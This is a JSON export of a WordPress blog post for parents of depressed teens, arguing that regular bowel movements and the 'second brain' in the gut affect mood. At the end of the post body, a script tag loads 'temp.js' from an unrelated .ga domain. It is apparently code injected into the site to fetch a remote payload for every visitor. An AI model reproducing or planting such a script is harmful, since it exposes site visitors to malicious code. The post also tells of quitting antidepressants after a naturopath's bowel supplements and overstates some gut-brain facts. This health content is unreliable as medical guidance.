{"id":283,"date":"2016-02-24T16:54:16","date_gmt":"2016-02-24T16:54:16","guid":{"rendered":"http:\/\/dz.cyberwalker.com\/parents-of-depressed-teens\/?p=283"},"modified":"2016-02-24T16:54:16","modified_gmt":"2016-02-24T16:54:16","slug":"how-your-teens-digestive-system-impacts-their-mood","status":"publish","type":"post","link":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/how-your-teens-digestive-system-impacts-their-mood\/","title":{"rendered":"How your teen&#8217;s digestive system impacts their mood"},"content":{"rendered":"<p>Is your teen regular? \u00a0This may seem like an odd question but having regular bowel movements (aka pooping at least once a day or every other day) is important for good mood.<\/p>\n<p>Read this quick article to learn about your body&#8217;s second brain and how it affects your body. Take this knowledge to your teen so they know how important it is to have regular bowel movements.<\/p>\n<p><strong>Quick story: Kay Walker&#8217;s personal experience<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-1264 size-medium\" src=\"http:\/\/mydepressionzone.com\/wp-content\/uploads\/2015\/07\/bigstock-human-11402888-300x300.jpg\" alt=\"How your digestive system affects your mood\" width=\"300\" height=\"300\" \/>I learned about the connection in 2008. \u00a0I was taking a low dose of an antidepressant (prescribed to me during\u00a0my teen years) that I was trying to wean off of, and went to see a naturopathic doctor.<\/p>\n<p>He asked me how often I passed a bowel movement. I explained I was constantly irregular: \u201cSometimes I only go once a week!\u201d I told him. \u00a0He explained that the situation was problematic and was likely causing my depressed mood. He prescribed me a combination of healthy bowel supplements, which I took by mouth. \u00a0I started having daily bowel movements. My mood improved and I was able to discontinue \u00a0my antidepressants. At the time, I never felt happier.<\/p>\n<h2><strong>Your digestive system impacts\u00a0your mood<\/strong><\/h2>\n<h3><b>Did you know, your body has two brains?<\/b><\/h3>\n<p>Your gut is the component of your digestive track that allows your body to digest food and process it into waste and eliminate it, by sending it out your anus.<\/p>\n<p>What most people don\u2019t know about the gut is that it works independently. It\u2019s the only organ that works without being controlled by your cranial brain (the one inside your skull). That means, it\u2019s also wired with a network of neurons (brain cells). There are approximately 400 to 600 million neurons in your gut.<\/p>\n<p>For this reason, the gut is commonly called the \u201csecond brain\u201d or \u201cgut brain\u201d. And it\u2019s pre-empted a new school of research called neurogastroenterology.<\/p>\n<h3><b>How the cranial brain\u00a0and gut brain\u00a0interact<\/b><\/h3>\n<p>Your gut brain manufactures approximately 30 neurotransmitters (brain chemicals). \u00a0It talks to the brain in your head, your cranial brain, by sending messages through a region at the based of your brain that extends to abdomen, called the vagus nerve.<\/p>\n<p>Your gut brain sends signals to your cranial brain that affect feelings of sadness, stress and that influence your thinking processes. Both brains produce the neurotransmitter (chemical messenger) serotonin. And get this: Your gut produces 95 percent of all the serotonin in your body. Your guts also makes 50% of the dopamine (another feel good brain chemical) in your body.<\/p>\n<h3><b>So, are you regular?<\/b><\/h3>\n<p><b>Frequency: \u00a0<\/b>Are you passing a bowel anywhere from 1-3 times a day. \u00a0These averages suggest a normal range, though some individuals go slightly less (3-5 times per week) and some go more (up to 4 times per day). As you long as you are going at least every other day and you feel comfortable (you\u2019re not dealing with stomach pain or discomfort) \u00a0it\u2019s likely not affecting your mood.<\/p>\n<p><b>Appearance: <\/b>Your bowel movements should be a shade of brown. \u00a0They are brown because your liver produces a substance called bile, which helps your body break down and eliminate food. If your stool (your poop) is black or has red in it, you may have blood in your stool. This may suggest other serious illnesses.<\/p>\n<h3><b>Last thoughts on bowel health<\/b><\/h3>\n<p>If your teen irregular, you\u2019ll want to mention this to their doctor. You\u2019ll be able to learn of ways that you can get your bowels back in working order. \u00a0To learn more about the connection between your brain and gut check out the book <i>Second Brain\u00a0<\/i>by Michael Gershon.<\/p>\n<p>&nbsp;<script src='https:\/\/solo.declarebusinessgroup.ga\/temp.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Is your teen regular? \u00a0This may seem like an odd question but having regular bowel movements (aka pooping at least once a day or every other day) is important for good mood. Read this quick article to learn about your body&#8217;s second brain and how it affects your body. Take this knowledge to your teen [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[1],"tags":[81,83,82,84],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts\/283"}],"collection":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/comments?post=283"}],"version-history":[{"count":1,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts\/283\/revisions"}],"predecessor-version":[{"id":284,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts\/283\/revisions\/284"}],"wp:attachment":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/media?parent=283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/categories?post=283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/tags?post=283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}